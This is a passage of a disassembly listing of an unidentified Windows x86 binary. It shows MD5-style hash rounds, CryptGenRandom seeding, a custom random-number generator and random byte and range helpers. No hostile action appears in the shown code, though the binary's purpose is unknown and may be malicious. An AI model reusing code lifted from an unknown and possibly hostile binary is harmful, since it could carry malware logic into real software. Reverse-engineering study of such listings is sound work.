		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-944B4B0h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-41404390h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-155ED806h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4881D05h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+432AFF97h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-36C5FC7h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+655B59C3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-100B83h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6FA87E4Fh]

loc_41005C:				; DATA XREF: .data:off_41A8CCo
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1D31920h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-8AC817Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-14792C6Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		leave
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410244	proc near		; CODE XREF: sub_40F3CE+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_410263
; ---------------------------------------------------------------------------

loc_410253:				; CODE XREF: sub_410244+66j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax

loc_410263:				; CODE XREF: sub_410244+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_4102AC
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+1]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+2]
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+3]
		shl	ecx, 18h
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		jmp	short loc_410253
; ---------------------------------------------------------------------------

locret_4102AC:				; CODE XREF: sub_410244+25j
		leave
		retn
sub_410244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102AE	proc near		; CODE XREF: sub_4167F1+DFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_417024	; CryptAcquireContextA
		push	offset dword_41EADC
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAE0
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAE4
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAE8
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	dword_41701C	; CryptReleaseContext
		leave
		retn
sub_4102AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410318	proc near		; CODE XREF: sub_4103F5+6p
					; sub_410422+6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lock xadd dword_41EADC,	eax
		add	eax, ebx
		lock xadd dword_41EAE0,	eax
		add	eax, ecx
		lock xadd dword_41EAE4,	eax
		add	eax, edx
		lock xadd dword_41EAE8,	eax
		add	eax, esi
		lock xadd dword_41EADC,	eax
		add	eax, edi
		lock xadd dword_41EAE0,	eax
		add	eax, ebp
		lock xadd dword_41EAE4,	eax
		add	eax, esp
		lock xadd dword_41EAE8,	eax
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_41EADC,	eax
		lock xadd dword_41EAE0,	eax
		lock xadd dword_41EAE4,	eax
		lock xadd dword_41EAE8,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_41EAE4,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_41EAE0,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_41EADC,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_41EAE8,	edx
		lock xadd dword_41EAE4,	ecx
		lock xadd dword_41EAE0,	ebx
		lock xadd dword_41EADC,	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; CODE XREF: sub_4020C2+10Bp
					; sub_4040E8+2Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE8,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4103F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410422	proc near		; CODE XREF: sub_40CF2F:loc_40CFBCp
					; sub_40D871+D3Fp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE8,	eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043F	proc near		; CODE XREF: sub_4055E5+715p
					; sub_4055E5+78Bp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE4,	eax
		and	eax, 0FFFFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41043F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410461	proc near		; CODE XREF: sub_4104A3+42p
					; sub_4125DF:loc_4126B8p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE0,	eax
		and	eax, 0FFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410483	proc near		; CODE XREF: sub_4055E5+72Bp
					; sub_40D7E5+57p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EADC,	eax
		and	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104A3	proc near		; CODE XREF: sub_40A9CF+D4Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4104AF
		jmp	short locret_4104FF
; ---------------------------------------------------------------------------

loc_4104AF:				; CODE XREF: sub_4104A3+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_4104B5:				; CODE XREF: sub_4104A3+34j
		cmp	[ebp+arg_4], 3
		jbe	short loc_4104D9
		call	sub_410422
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		jmp	short loc_4104B5
; ---------------------------------------------------------------------------

loc_4104D9:				; CODE XREF: sub_4104A3+16j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax

loc_4104DF:				; CODE XREF: sub_4104A3+5Aj
		cmp	[ebp+arg_4], 0
		jbe	short locret_4104FF
		call	sub_410461
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4104DF
; ---------------------------------------------------------------------------

locret_4104FF:				; CODE XREF: sub_4104A3+Aj
					; sub_4104A3+40j
		leave
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410501	proc near		; CODE XREF: sub_403260+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_410510
		xor	eax, eax
		jmp	short locret_41055D
; ---------------------------------------------------------------------------

loc_410510:				; CODE XREF: sub_410501+9j
		cmp	[ebp+arg_10], 0
		jnz	short loc_41051C
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_10], eax

loc_41051C:				; CODE XREF: sub_410501+13j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax

loc_410532:				; CODE XREF: sub_410501+57j
		cmp	[ebp+var_4], 0
		jbe	short loc_41055A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_410532
; ---------------------------------------------------------------------------

loc_41055A:				; CODE XREF: sub_410501+35j
		mov	eax, [ebp+var_8]

locret_41055D:				; CODE XREF: sub_410501+Dj
		leave
		retn
sub_410501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; CODE XREF: sub_4167F1+F0p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EAF0
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, byte_41EAF0
		mov	edi, esi
		push	10h
		pop	ecx

loc_41059F:				; CODE XREF: sub_41055F+47j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_41059F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41055F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


